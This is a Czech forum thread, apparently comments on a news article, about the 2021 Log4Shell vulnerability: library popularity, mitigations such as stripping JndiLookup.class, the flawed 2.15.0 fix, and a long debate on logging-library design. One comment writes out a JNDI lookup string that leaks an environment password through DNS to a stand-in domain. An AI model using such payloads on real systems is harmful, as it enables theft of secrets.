Naštěstí to není zabudováno do každého projektu v Javě. V Javě se častěji používá knihovna Logback (má dvojnásobný podíl oproti Log4j 2), dokonce i původní (nepodporovaná ale touto chybou nepostižená) Log4j 1.x se používá zhruba stejně často. Vedle toho existují různé méně používané knihovny. (Počty užití vycházejí ze statistik na javalibs.com.)
To se mi nějak nezdálo, v mojí java dev bublině je log4j vždy první volba i když logback má reputaci výkonější library.
A nevim jestli na charts na javalibs.com nekoukam špatně, ale v počtu použití log4j v1 jasně vede (takže appky jsou chráněny svym technickym dluhem :) migrace na v2 nejde udělat jen jednoduchym updatem jarek, takže se stále dost používá), pak je log4j v2 a až třetí je logback
16. 12. 2021, 12:45 editováno autorem komentáře
U Logbacku má smysl dívat se na logback-classic, to je aplikační logování. Závislost na logback-core má v sobě, takže aplikace ji získávají tranzitivně – je přirozené, že ji přímo uvedenou nemají. Spíš je zvláštní, proč tolik projektů závisí přímo na logback-core. Dává to smysl, když někdo implementuje vlastní appendery, filtry apod., ale že by to bylo tak časté?
Podla http://slf4j.org/log4shell.html ma aj log4j-1.x chyby ktore by nebolo dobre ignorovat.
kromě jiného log4j 1 obsahuje zranitelnost CVE-2019-17571, to jsme řešili odebráním tříd SocketServer a JMSAppender z jarek, podobně jako se to řeší teď. Stejně tak jsou ošetřeny i balíčky např. pro Kafku nebo Zookeeper.
To co píšou na http://slf4j.org/log4shell.html je závislé na JMSAppender, to je třída, která se ne tak často používá a je nutné, aby byla v konfiguraci využita, jinak zranitelnost není jak využít.
To ale v některých situacích nestačí (pokud tomuhle článku dobře rozumím): https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/
K tomu jsou navíc mezi postiženými kousky se stavem "Patch Pending" chuťovky jako 27 produktů od VMware, kolem desítky od Symantecu a mnoho dalších. Z toho téměř každý se manuálně záplatuje trochu jinak. Zatím to útočníci většinou jen oťukávají a mapují, ale tento vektor útoku se už začíná objevovat u ransomware a velkých, státem sponzorovaných skupin.
Oracle se třeba zatím také vyjádřil pouze k asi polovině produktů, Oracle Cloud ještě také není plně patchovaný, návody mění bez upozornění, patche nefungují a SW rozbíjí. Jsou to zatuchlé rybníčky.
Na druhou stranu různé CI a CD online nástroje jsou teď hodně vytížené, čekání je značné i s placenými tarify.
Pak se podíváš do kódu log4j pro 2.16.0 a zjistíš, že třída org.apache.logging.log4j.core.lookup.Interpolator pořád používá jndi lookup, https://github.com/apache/logging-log4j2/blob/rel/2.16.0/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java#L112-L119, takže ještě může existovat kombinace nastavení a vstupu, který projde.
Ukazuje se, že opravdu nejjednodušší a nejrychlejší řešení je odstranění třídy JndiLookup přímo z jarka a přebalit aplikaci, díky try catch v kódu to aplikaci vadit nebude. Zatím nám funguje na všech těch enterprise věcech, které ještě neposkytly patche a drtivá většina infrastruktury je už takhle opatchována v řadě českých bank.
Z dlouhodobého hlediska je asi vhodné log4j vyřadit z code base, vzhledem k tomu, že vstupní string masivně interpretuje a zpracovává, je možné, že těch zranitelností tam v budoucnu může být více, zejména pokud jde o uživatelský vstup, který se neescapuje a nesanitizuje.
Oracle doporucuje to normalne smazat (ale pouze od verze 2.11),
zip -q -d log4j-2.11.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Ta interpretace muze byt i uzitecna. My jsme to pouzili pro to aby bylo mozne do logu vlozit sessionId, REST API url, celkovou dobu trvani, a podobne veci. Bohuzel nikoho na prvni pohled nenapadne, ze by se takova vec dala zneuzit.
Ta interpretace muze byt i uzitecna. My jsme to pouzili pro to aby bylo mozne do logu vlozit sessionId, REST API url, celkovou dobu trvani, a podobne veci. Bohuzel nikoho na prvni pohled nenapadne, ze by se takova vec dala zneuzit.
K tomu ale nepotřebujete interpretaci. To se normálně řeší tak, že přidáte tyto informace do MDC (Mapped Diagnostic Context) a ty se pak vypisují spolu s logovací zprávou.
Pokud autory logovací knihovny nenapadne, že by se to dalo zneužít, je lepší se od takové knihovny držet co nejdál.
souhlasím, vzhledem k tomu, že autoři takovéhle chování považovali za správné a dnes se vyjadřují, že to tam chtěji vrátit až vyřeší jako to udělat bezpečně, raději pryč.
Ukazuje to i poměrně silnou neznalost knihoven, které se používají, tohle byla dokumentovaná vlastnost, jen nikdo (vč. mě) jí dopředu nečetl.
V kódu a dokumentace o všem mluví jako o message a o tom, že to je string, přitom s tím pracují jako se vstupem, který dále interpretují, to mi moc jako prostá message nepřipadá.
Stejný problém mimochodme nastavává i při zpracování textových logů a jejich parsování, běžně nástroje na parsování špatně interpretují některé znaky, překládají řídící znaky jako \r, \0 a jiné, to může vést také k pěkným zranitelnostem. Stejně tak aplikace, které sice do logů dávají json, ale skládají ho ze stringu (pro nginx docela oblíbené řešení v kubernetes).
open source podle mě podobným chybám nebrání, ale zjendodušuje jejich opravování. Takhle jsme byli schopní hned v pátek udělat analýzu a zvolit odpovídající obranu.
Zatímco u uzavřeného kódu bychom neudělali nic, placený support ani v tomhle případě neodpovídá hodiny, dny. Návod a patche ještě nejsou pro všechny placené komponenty a přitom open source je již opravený a vyřešený během hodin.
Po bitvě každý generálem, ale tady to na mne působí, že někdo porušil princip KISS, což bylo po zásluze potrestáno. Od logovací knihovny čekám, že bude zapisovat logovací hlášky, a to je vše. To s tím jndi: resolvingem na mne působí jako "extra chytristika".
Skóre 10.0 z 10.0 CVSS, odhad počtu zranitelných systémů v řádu vyšších stovek milionů, to je velmi slušné.
https://www.nukib.cz/download/uredni_deska/2021-12-15_RO-NUKIB-Log4Shell.pdf
Z dlouhodobého hlediska je asi vhodné log4j vyřadit z code base, vzhledem k tomu, že vstupní string masivně interpretuje a zpracovává, je možné, že těch zranitelností tam v budoucnu může být více, zejména pokud jde o uživatelský vstup, který se neescapuje a nesanitizuje.
To mi přijde trochu přehnané. Ono není totiž moc kam jinam jít. slf4j je šíleně zastaralé API. Jediný důvod, proč se Logback, log4j 1 ještě dnes používá je, že lidi používají stále to samé dokola. Logback je hodně používaný, protože je jako výchozí ve Spring Boot a spousta lidí ani netuší co používá.
Je kam jinam jít. slf4j nemá šíleně zastaralé API – „chybí“ mu jediná věc, a to je efektivnější zápis pro lazy získávání parametrů pro logovací zprávy. Což je pouhá optimalizace. Používá se to výjimečně, což je v pořádku, protože to logování posouvá směrem, kde je dnes Log4j 2 – že se během logování provádí kód, o kterém nikdo nic neví.
Takže není žádný problém slf4j používat. Je to pořád milionkrát lepší, než mít kvůli logovací knihovně v aplikaci vzdálené spuštění kódu. Navíc pokud by někdo tak šíleně toužil po těch lazy parametrech, nic mu nebrání napsat wrapper kolem slf4j a klidně ho zveřejnit jako opensource knihovnu. Bylo by to pár řádek kódu – místo psaní komentářů už byste ten wrapper měl napsaný.
Vy se pořád tváříte, že ta chyba Log4j 2 je ojedinělá chyba, která se může stát každému. Evidentně vás nezviklalo ani to, že se další velmi podobná chyba objevila hned po pár dnech. Pořád si odmítáte připustit, že to je chyba v návrhu Log4j 2, dokonce chyba v definici požadavků, co má logovací knihovna dělat. Že se takovéhle chyby objevily v Log4j 2 není náhoda. A riziko, že tam budou další podobné chyby, je velké. Logovací knihovna nemá text, který má zalogovat, nijak interpretovat, má ho co nejrychleji dostat do logu. Pokud na vstupu dostane něco jiného, než text, má to co nejbezpečněji převést na text a dále postupovat podle předchozí věty.
Jedná se pořád o tu samou chybu. Schválně jsem se koukal na počet chyb v logback a je to skoro to samé jako log4j2.
Těch věcí co slf4j nepodporuje je mnohem více. Např. CloseableThreadContext o tom se slf4j může jenom zdát, Message API, Garbage-free Steady State Logging.
Je celkem štěstí, že se ta chyba objevila v log4j 2 a ne v logback, protože si nedokážu představit, co by se dělo. kdyby to bylo opačně. Protože spousta lidí co používá logback ani o tom neví a nebyla by schopná to opravit.
Jedná se pořád o tu samou chybu.
Jenže pořád tu samou chybu se pokusili opravit, a neúspěšně. Dokonce se ukázalo, že nepomáhá ani konfigurační property, která měla tuhle super funkci vypnout.
Schválně jsem se koukal na počet chyb v logback a je to skoro to samé jako log4j2.
To myslíte vážně? Vážně naházíte na jednu hromadu chyby se skórem 1 i 10?
CloseableThreadContext
To jste si popletl. To neumělo log4j 1.x, slf4j s tím pak přišlo a nazvalo to MDC. Log4j 2 to jen okopírovalo.
Message API
Díkybohu, že to nepodporuje.
Garbage-free Steady State Logging
To zní docela úsměvně v kontextu této chyby. „Nevytvoříme žádný nový objekt, tedy s výjimkou případů, kdy si stáhneme úplně celou třídu odkudkoli z internetu“.
Je celkem štěstí, že se ta chyba objevila v log4j 2 a ne v logback, protože si nedokážu představit, co by se dělo.
To není štěstí, to je důsledek přístupu autorů.
Protože spousta lidí co používá logback ani o tom neví a nebyla by schopná to opravit.
Stejné je to ale i s Log4j 2. Ty knihovny jsou často součástí nějaké aplikace, kde provozovatel možná ví, kde má konfigurační soubor logování (často ani to ne).
Jenže pořád tu samou chybu se pokusili opravit, a neúspěšně. Dokonce se ukázalo, že nepomáhá ani konfigurační property, která měla tuhle super funkci vypnout.
To druhé CVE má score 3.5 a zrovna není snadné to udělat. Je to asi stejné jako kdybyste v logback změnil logger na JNDI. Takže i logback měl podporu pro JNDI.
To myslíte vážně? Vážně naházíte na jednu hromadu chyby se skórem 1 i 10?
OMG CVE-2017-5929 7.5 .
To jste si popletl. To neumělo log4j 1.x, slf4j s tím pak přišlo a nazvalo to MDC. Log4j 2 to jen okopírovalo.
Nepopletl zkuste si tam dát víc hodnot.
To zní docela úsměvně v kontextu této chyby. „Nevytvoříme žádný nový objekt, tedy s výjimkou případů, kdy si stáhneme úplně celou třídu odkudkoli z internetu“.
Holinky jako hodinky, obojí se natahuje. Ještě bych dodal varargs, protože slf4j umí jenom dva argumenty.
Stejné je to ale i s Log4j 2. Ty knihovny jsou často součástí nějaké aplikace, kde provozovatel možná ví, kde má konfigurační soubor logování (často ani to ne).
Měl jsem na mysli úplně jiný případ a to, že vyvíjí aplikaci a vůbec netuší co mají za použitý logger. Zejména u Spring Boot.
Nepopletl zkuste si tam dát víc hodnot.
Budou tam. A dál? S čím máte problém?
Ještě bych dodal varargs, protože slf4j umí jenom dva argumenty.
Aha, už chápu, v čem je problém. Vy jste nepostřehl, že není rok 2011 ale rok 2021. slf4j od verze 1.7.0, která vyšla v roce 2012, podporuje varargs (musela se kvůli tomu zvýšit minimální podporovaná verze Javy na 1.5).
Měl jsem na mysli úplně jiný případ a to, že vyvíjí aplikaci a vůbec netuší co mají za použitý logger. Zejména u Spring Boot.
Ano, vím, že jste myslel jenom na část aplikací a dělal z toho závěry pro všechny. To, že logování prostě funguje a vývojář to nemusí nijak speciálně řešit, považuji za dobré.
Budou tam. A dál? S čím máte problém?
Do jednoho MDCClosable jde dát jenom jedna hodnota, takže když jich chcete víc, tak jich musíte vytvořit několik MDCCloasable. Ale chápu, že vám to nevadí a stále místo try-with-resources používáte close() a finally, kvůli zpětné kompatibilitě a že to dělá něco co vy nevidíte.
Aha, už chápu, v čem je problém. Vy jste nepostřehl, že není rok 2011 ale rok 2021. slf4j od verze 1.7.0, která vyšla v roce 2012, podporuje varargs (musela se kvůli tomu zvýšit minimální podporovaná verze Javy na 1.5).
Spíš jste to totálně nepochopil vy. log4j 2 umí až 10 argumentu na rozdíl od pouhých dvou co umí slf4j , pro víc se musí použít varargs.
Do jednoho MDCClosable jde dát jenom jedna hodnota, takže když jich chcete víc, tak jich musíte vytvořit několik MDCCloasable.
A v čem je tedy ten problém?
Ale chápu, že vám to nevadí a stále místo try-with-resources používáte close() a finally
To chápete špatně.
Spíš jste to totálně nepochopil vy. log4j 2 umí až 10 argumentu na rozdíl od pouhých dvou co umí slf4j , pro víc se musí použít varargs.
Jasně, čím víc pruhů, tím víc Addidas. Už si vymýšlíte úplné nesmysly. Když napíšu logger.debug("…", arg1, arg2, arg3), je v drtivé většině případů úplně jedno, jestli je to metoda s varargs nebo se čtyřmi parametry. Pokud v některých velmi výjimečných případech vadí, že se tam vytváří nové pole, pořád si to pole můžete předalokovat předem.
CloseableThreadContext.put(key1, value1).put(key2, value2)
vs MDC.MDCCloseable closable1 = MDC.putCloseable(key1, value1), MDC.MDCCloseable closable2 = MDC.putCloseable(key2, value2)
Je to mapa/set resp. stack.
Jasně, čím víc pruhů, tím víc Addidas. Už si vymýšlíte úplné nesmysly. Když napíšu logger.debug("…", arg1, arg2, arg3), je v drtivé většině případů úplně jedno, jestli je to metoda s varargs nebo se čtyřmi parametry. Pokud v některých velmi výjimečných případech vadí, že se tam vytváří nové pole, pořád si to pole můžete předalokovat předem.
Neřekl bych ani popel, kdyby těch argumentu bylo aspoň 5 ale 2 je opravdu málo. A k čemu je mi předalokování pole, vždyť to vůbec nic neřeší? Je jedno jestli se mi alokuje dopředu nebo až po zavolání. Ve velmi výjimečných případech, mě to teda vadí pokaždé, proč se má dělat něco co se dělat nemusí?
CloseableThreadContext.put(key1, value1).put(key2, value2)
vs MDC.MDCCloseable closable1 = MDC.putCloseable(key1, value1), MDC.MDCCloseable closable2 = MDC.putCloseable(key2, value2)
Je to mapa/set resp. stack.
Vím. Ten problém teda spočívá v čem?
Neřekl bych ani popel, kdyby těch argumentu bylo aspoň 5 ale 2 je opravdu málo.
K tomu, aby metody mohly mít proměnlivý počet argumentů, slouží varargs. Vytvářet vedle toho další metody s pevně daným počtem parametrů kvůli jakési optimalizaci je antipattern.
Je jedno jestli se mi alokuje dopředu nebo až po zavolání.
Myslel jsme, že vám vadí, že se během logování alokuje nový objekt. Pokud vám nevadí ani to, netuším, co s tím vlastně máte za problém.
Ve velmi výjimečných případech, mě to teda vadí pokaždé, proč se má dělat něco co se dělat nemusí?
Ano, to je dobrá otázka, proč se mají do API logovací knihovny přidávat nějaké metody, které tam být nemusí. Na odpověď stále čekám.
K tomu, aby metody mohly mít proměnlivý počet argumentů, slouží varargs. Vytvářet vedle toho další metody s pevně daným počtem parametrů kvůli jakési optimalizaci je antipattern.
Tak určitě. Jaká si nepodstatné optimalizaci, něčeho co se používá tak často, že už to má vliv. Kecy o antipatternu si nechte pro někoho jiného, protože to samé je udělané i v JDK např. List.of().
Myslel jsme, že vám vadí, že se během logování alokuje nový objekt. Pokud vám nevadí ani to, netuším, co s tím vlastně máte za problém.
Mě vadí, že se alokuje nový objekt, když nemusí.
Včera večer poslouchám v autě rádio, ve zprávách požádali telefonicky o názor nějakého odborníka... a ten vykládal cca "no je to hrůza, ten počet útoků hrozně rychle roste, ostatně vemte si, že na tom Apači běží globálně asi 80% webů". Při této poznámce jsem za volantem lehce nadskočil. A rychle jsem se pak doma ujistil, že se domnívám správně, že Apache Log4j nemá s Apache HTTPd v zásadě nic společného. Uff.
To je trochu, jakobys každému druhému programovacímu jazyku vyčítal, že má funkci na čtení souborů, pokud ji v něm napsaná aplikace použije na útočníkem dodanou cestu k souboru.
Tady logovací funkce umožňuje interpolovat logované řetězce, no. Velký rozdíl je, že tady nebylo úmyslné nebo zřejmé, že jde šikovným výrazem jaksi oklikou i načíst vlastní kód, ale není to důvod prstíčkem ukazovat na Javu.
Prstíčkem na Javu ukazovat nebudeme, ale prostá interpolace to taky není. Tady nejde o expanzi nějaké jednoduché proměnné.
Nechat dělat logovací nástroj by default JNDI na základě tainted řetězce je, velmi, velmi nešťasné. Hlavně takovou vlastnost asi normální člověk vůbec nepředpokládá a nehledá jak to proaktivně vypnout.
tak nějak vedlejší efekt, logovací třída má pár funkcí ze šablonovacího jazyka, je tedy možné doplnit proměnné, některé proměnné je dokonce možné získat i z databáze jako ldap, no a ldap umožňuje vrátit odpověď, která donutí klienta načíst vzdálený kód.
Java za to nemůže. I MS se svým C/C++/C# má svoje mouchy, např. celý Printer Spooler service je jedno velké RCE, před pár lety jsme řešili CVE-2019-1040, tam myslím je použit stejný mechanismus u ldapu, jen to je ještě v kombinaci s ntlm.
Celé technologie kolem Html, javascriptu a webu jsou postavené na stejném principu, kdy uživatelský kód spouští běžně RCE, jen se tomu říká jinak, XSS. Obranné technologie jako CSP by se mi strašně moc líbily i na linuxu, dneska je extrémně technicky obtížné omezit aplikaci jen na některé komunikace, běžný FW to řeší pro celý systém.
Tohle není chyba autorů toho kódu, ale spíše všech, který ten kód používali.
Prijde mi, ze cokoliv, co neni nativni binarka, prakticky vypina NX bit, protoze dokaze bud spustit interpretaci zdrojaku (skritovaci jazyky), nebo v pripade JIT se tento vystup strojoveho kodu musi objevit mimo NX (neni to staticka/konstatni sekce sveho spustitelneho souboru).
V tomto by meli mit navrch ty MS sluzby ale, to je prece C/C++ a kod objevijsi v datech/na stacku, by nemel byt spustitelny.
Tak i samotná oprava má nejméně dvě chyby...
"Now, researchers are reporting that there are at least two vulnerabilities in the patch, released as Log4J 2.15.0, and that attackers are actively exploiting one or both of them against real-world targets who have already applied the update. The researchers are urging organizations to install a new patch, released as version 2.16.0, as soon as possible to fix the vulnerability, which is tracked as CVE-2021-45046."
[ https://arstechnica.com/information-technology/2021/12/patch-fixing-critical-log4j-0-day-has-its-own-vulnerability-thats-under-exploit/ ]
jak tak koukám na opravu u Log4J 2.15, tady je commit, který přidával pro jndi možnost to povolit jen pro konkrétní adresy, https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3#diff-271353c1076e53f6893261e4420de27d34588bfd782806b5c66a3465c43b7f51R218, na první pohled to vypadá skvěle, ale uri.getHost() způsobí DNS dotaz na ip adresu a dojde k úniku údajů, které jsem si tam mohl podstrčit jako domain name formou ${jndi:ldap//${env:PASSWORD}.mojedomena.cz}
Takže i aktuální informace na https://logging.apache.org/log4j/2.x/:
[em]It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations
[/em]
je nesprávné, oprava je "incomplete", ale nikoliv pouze pro nevýchozí konfigurace, ale opět pro všechny. A jestli dobře koukám, tak to dokonce přeskakuje původní vypnutí jndi dostupné od 2.10, takže hodně nepovedená oprava. První oprava chyb by měla mít co nejméně kódu a nikoliv přidávat nové funkce, to je zásada bezpečného přístupu.
Je zajímavé porovnat to s přístupem autorů Logbacku. Objevilo se podezření na možnou podobnou zranitelnost, které samo o sobě potřebuje velmi silné prerekvizity (útočník musí mít právo přepsat konfigurační soubor pro logování – což ve spoustě případů znamená, že už stejně může všechno).
První opravná verze – zákaz všech JNDI lookupů a dočasné odstranění veškerého kódu souvisejícího s JDBC bez náhrady.
Druhá opravná verze po dalším zkoumání – povolení JNDI lookupu ale jeho omezení na protokol java: (přičemž ten lookup se dělá na základě konfiguračního souboru, ne logovací zprávy nebo uživatelských dat). Dále lepší zabezpečení SMTPAppenderu a odstranění podpory Groovy pro konfiguraci Logbacku, protože Groovy je příliš silný nástroj na něco tak jednoduchého, jako je konfigurace logování.
Úplně opačný přístup, bezpečnost je na prvním místě. Nejprve potenciálně zranitelný kód úplně znepřístupní (zvlášť když se používá velmi málo), teprve pak po podrobnějším prozkoumání případně část po lepším zabezpečení znovu zpřístupní. V Log4k 2 něco zalepí a pak koukají, jestli to pořád teče nebo už míň.
Tohle, ale také není správný postup. To je jenom zmatkování. Odebírání funkčních vlastností takhle narychlo mi přijde trochu nefér vůči jejich uživatelům, navíc když není prokázáno, že jsou zneužitelné. Správně by mělo být, podle mě, vypnutí by default a povolení pouze s flagem a s poznámkou, že v příštích verzí to bude odebrané.
Navíc se pozastavím nad tím, jak jste tady logback obhajoval. Tak nejprve říkáte, že logování má být stupidní a nic nedělat, ale logback podporuje přímo konfiguraci pomocí groovy? Není tohle náhodou právě to co jste kritizoval na log4j 2?
Ano, dalo by se to dělat tak komplikovaně, jak to popisujete vy, a riskovat, že ten konfigurační parametr nebude fungovat. Ať už obecně, nebo že ho někdo špatně nastaví. A nebo se to dá udělat tak, že se vydá nová verze, kde je to natvrdo zakázané – a kdo to používá, tak prostě nebude aktualizovat.
Je rozdíl mezi logováním a konfigurací logování. Konfigurace logování se provede obvykle jednou při startu aplikace a pak už to má Logback uložené ve svých interních strukturách a nevstupuje do toho ani Joran ani Groovy. Ale jak vidíte, autoři Logbacku to v novém kontextu zvážili a usoudili, že i tak je to zbytečné riziko a podporu pro automatickou konfiguraci přes Groovy odstranili. Protože Logback vystavuje pro konfiguraci API, pokud chce, může Groovy nadále použít, ale už tam nebude ta automatická podpora, že když bylo Groovy dostupné na classpath, hledal se automaticky i konfigurační soubor logback.groovy a použil se, pokud byl dostupný.
Jak jsem psal tohle je řešení zmatkováním, honem všechno odstranit. Ten postup komplikovaný není. Co když se objeví chyba někde jinde, to budou mít pak uživatelé staré verze smůlu? Fascinuje mě, jak na jednu stranu strašně obhajujete zpětnou kompatibilitu a na druhou jste schopný podporovat vyhazování věcí bez zjevného důvodu, jenom, že si nejsou jistí.
Za mě je tohle úplně špatně, ten logovací framework by měl umět naprosté minimum a tohle všechno by mělo být jako pluginy. Chcete zápis do DB, jasně umíme, stačí přidat tenhle plugin. Chceš JNDI, jasně přidej tenhle plugin.
Ten postup komplikovaný není.
To, že vy spouštíte aplikaci z nějakého shell skriptu nebo systemd jednotky neznamená, že se tak spouštějí všechny aplikace na světě. Někdy není úplně snadné do cílové aplikace procpat systémovou vlastnost nebo proměnnou prostředí. Navíc vypínat něco nebezpečného tímhle způsobem je znovu nebezpečné, protože nemáte jistotu, že je to opravdu vypnuté. Nastavíte systémovou vlastnost a máte pocit, že máte vyřešeno – a přitom třeba nemáte vyřešeno nic, stačí hloupý překlep v názvu. A do třetice, jak je vidět na příkladu Log4j 2, ten kód rozhodující se podle té systémové vlastnosti může být zase chybný.
Co když se objeví chyba někde jinde, to budou mít pak uživatelé staré verze smůlu?
Je dost velká pravděpodobnost, že než se objeví chyba jinde, bude tohle vyřešené. V Logbacku už je JNDI zpět, omezené jen na protokol java. Pokud někdo opravdu potřebuje konfigurovat Logback pomocí Groovy, už pravděpodobně řeší, jak to udělat ve své aplikaci.
bez zjevného důvodu, jenom, že si nejsou jistí
Ano, je zjevné, že náš pohled na bezpečnost je zjevně dost odlišný. Já RCE opravované na několik pokusů nepovažuju za něco, nad čím lze mávnout rukou.
Za mě je tohle úplně špatně, ten logovací framework by měl umět naprosté minimum a tohle všechno by mělo být jako pluginy. Chcete zápis do DB, jasně umíme, stačí přidat tenhle plugin. Chceš JNDI, jasně přidej tenhle plugin.
Aspoň na něčem se shodneme.
Thread Context byla jen ukázka principu, jak koukám do zdrojáků, měla by být ještě možná varianta ${map:} nebo ${sd:} a použití tříd jako StringMapMessage() nebo StructuredDataMessage() pro uživatelský vstup už může být častější. Třída nemusí být použit přímo, ale v rámci nějaké funkce vyššího frameworku, vím, že se s tímhle pracoval např. v Akka ve Scale.
Prohledali jsme zdrojáky a nastavení pro log4j, ani v jednom případě jsme takhle nastavení appender nenašli, to se jedná o tisíce java aplikací různých autorů nebo firem. Variantu, kdy bychom to nevhodně hledali jsme doufám patřičně ošetřili.
Podle google to ale očividně někdo tak používá:
https://stackoverflow.com/questions/31202120/including-the-threadcontext-when-writing-log4j2-logs-via-a-java-static-method
https://stackoverflow.com/questions/32158882/log4j2-appender-not-logging-to-threadcontext-folder
https://www.baeldung.com/mdc-in-log4j-2-logback (paradoxně článek je datovám teď na prosinec)
útočník pošle nevalidní JWT token a ten může skončit v téhle property a zalogovat se. Mysli na to, že většinou loguješ co je špatně a nikoliv všechen uživatelský vstup, za poslední dny jsem viděl spousty pokusů v http hlavičkách, DNS záznamech, emailových hlavičkách, client certifikátech.
Je těžké to formálně z venku prokázat, takže je potřeba předpokládat, že se to tak děje a pokud někdo do patternu použije nějakou takovou konstrukci, je nutné říct, že je aplikace zranitelná bez ohledu na to odkud tam ten obsah jde.
Ten vstup by se musel dát do MDC a pokud vám někdo pošle JWT, tak první co uděláte, je že ověříte jestli je validní. Pokud není, tak ho maximálně zalogujete ale rozhodně z něj nebudete ukládat informace do MDC. To co je špatně se loguje přímo a je tedy postižitelné tou první chybou, ty ostatní musí být vloženy do MDC a ještě pro výpis musí být použit lookup.
Saljack: Na tom je krásně vidět, jak je ten váš přístup nebezpečný. Co je validní JWT? Že má platný podpis? Nebo kontrolujete nějak i hodnoty uvnitř? Třeba jméno (občanské) uživatele nebo jeho přezdívku? Jako poznáte validní přezdívku od nevalidní? Nebo to, že se v přezdívce neobjeví dolar a složené závorky podle vás validuje vydavatel toho JWT? Jak moc jste si tím jistý?
Určitě namítnete, že přece přezdívku nebudete ukládat do MDC. Takže máte položky JWT pečlivě rozdělené na důvěryhodné a nedůvěryhodné, a podle toho je vkládáte do MDC? A jste si jistý, že ty nedůvěryhodné do MDC nevloží nikdo v žádné části aplikace? Co ty patří mezi ty důvěryhodné položky JWT? E-mail uživatele? Víte, jak ho poskytovatel JWT validuje?
A i kdyby pro vás poskytovatel JWT filtroval veškerý uživatelský vstup tak, aby vaše aplikace nebyla napadnutelná přes Log4j 2 – důvěřujete tomu poskytovateli JWT tak, že s ním budete sdílet proměnné prostředí vaší aplikace, třeba hesla nebo autentizační tokeny?
Já si myslím, že přístup má být přesně opačný – logovat všechny údaje, které dostávám a mohly by se hodit. To, jestli těm údajům můžu nebo nemůžu věřit, se zjistí až následnou analýzou. Mimochodem, tohle je princip všech logů a deníčků, ne jen těch aplikačních – zaznamenávám to, co v tu chvíli vidím, interpretaci nechávám na později. Interpretace se může v čase vyvíjet a pokud zkreslím data interpretací už v okamžiku záznamu, nikdy z toho ta původní data nedostanu a to zkreslení tam budu mít navždy.
S tím vaším přístupem se třeba nikdy nedozvíte o pokusech o útok, protože je zahodíte dřív, než je zalogujete. A nebudete mít zalogovaný ani úspěšný útok, pokud půjde cestou, kterou jste neočekával (což je u útoků obvyklé).
Právě naopak vy zkreslujete, protože prohlašujete něco za informaci, která není pravdivá. Nikde není napsáno o tom, že to nemáte zalogovat ale pokud v logách něco tvrdíte, tak by to měla být ověřená informace.
S tím vaším přístupem se třeba nikdy nedozvíte o pokusech o útok, protože je zahodíte dřív, než je zalogujete. A nebudete mít zalogovaný ani úspěšný útok, pokud půjde cestou, kterou jste neočekával (což je u útoků obvyklé).
Nikdy a nikde jsem netvrdil, že se to nezaloguje a už vám to píšu po několikáte. Vše se zaloguje ale rozhodně to nebude mít nesmyslný kontext aby se to následně muselo analyzovat, zda ten context je pravdivý nebo není. Opět dodávám příklad abyste to konečně již pochopil:
[jirsak] Invalid login
[] Invalid login with username jirsak
Já do logů ve spoustě případů dávám jenom údaje, ne informace. Informaci je z toho potřeba teprve vytvořit. A protože nevím, jaké informace bude potřeba získávat, ukládám právě ty údaje, bez nějaké interpretace a filtrování.
Ten příklad nemusíte opakovat, já ho chápu. Akorát to, že vy něco logujete špatně, není důkazem toho, že je to principiálně špatně.
Říkejte si tomu klidně jak chcete údaje nebo informace. To, že ukládáte nesmysly, které jsou úplně k ničemu a navíc jsou nepravdivé a akorát vedou k následným problémům je váš problém a problém těch co s tím pak mají něco dělat (naštěstí ne můj). Co do toho plete nějaké filtrování, o tom jsem nikde nepsal. Psal jsem pouze o security filteru, který loguje přesně ty informace které má a právě, že se nesnaží interpretovat naopak od vás když tvrdíte, že se jedná o uživatele.
Příklad bohužel musím opakovat, protože ho stále nechápete.
Howgh
21. 12. 2021, 12:44 editováno autorem komentáře
Údaj (nebo data) jsou něco jiného, než informace. Informace získáte z dat tím, že použijete znalosti. Vy stále trváte na tom, že znalosti nemáte, pak ovšem opravdu z dat nemůžete získat informace. Pak samozřejmě nemůžete posoudit, jestli je něco pravdivé nebo nepravdivé ani jestli to k něčemu je nebo není.
teď si představ, že ten tvůj jednoduchý json line log někdo čte, je to třeba nějaká java aplikace (ELK stack např.) a útočník tam schválně pošle takový vstup, který u dané aplikace vyvolá chybu a ta tedy zaloguje logicky vstup a chybu (ať už to jsou nevalidní znaky, syntax error a problémy s escapováním nebo třeba číselné údaje v jsonu s šíleně velkým počtem míst, které java neumí použít).
Problém není jen právě na vstupu od uživatele z webu, ale právě v celém životním cyklu daných dat a ten může být nedozírný. K logům se můžeš dostat po X letech, když tam potřebuješ něco důležitého najít a na pomoc použiješ třeba PrestoDB jako chytrý filtrovací engine (ano, také používá log4j).
Otázku proč potřebuji intepretovat cokoliv v logovaných dat nechám bez odpovědi, netuším jak někoho mohlo napadnou, že to je dobrý nápad cokoliv parsovat z neznámého vstupu.
Vy chcete logovat do souboru jako LNJSON, někdo chce logovat text na standardní výstup, někdo do syslogu, někdo do Logstashe, někdo e-mailem… Je dobré k logovnaým datům přidávat kontext – čas, server, uživatele, IP adresu klienta, software klienta, identifikátor session… Je dobré rozlišovat informativní logy a logování chybových zpráv, občas se hodí pro něco zapnout podrobnější logování. Můžete si to všechno napsat sám, ale nejspíš tam nasekáte víc chyb, než když je na to specializovaná knihovna, která se používá ve více projektech.
třeba proč potřebuju, aby se vynechávky interpretovaly i v zalogovaných datech?
To by asi zajímalo víc lidí. Můj soukromý tip je, že je to důsledek toho, že si někdo myslel, že logovací framework má mít spoustu cool fíčur, a neuvědomil si, že logovací framework musí být hlavně velmi defenzivní, protože i až nastane konec světa, pořád budou přeživší zajímat logy, aby se z toho poučili.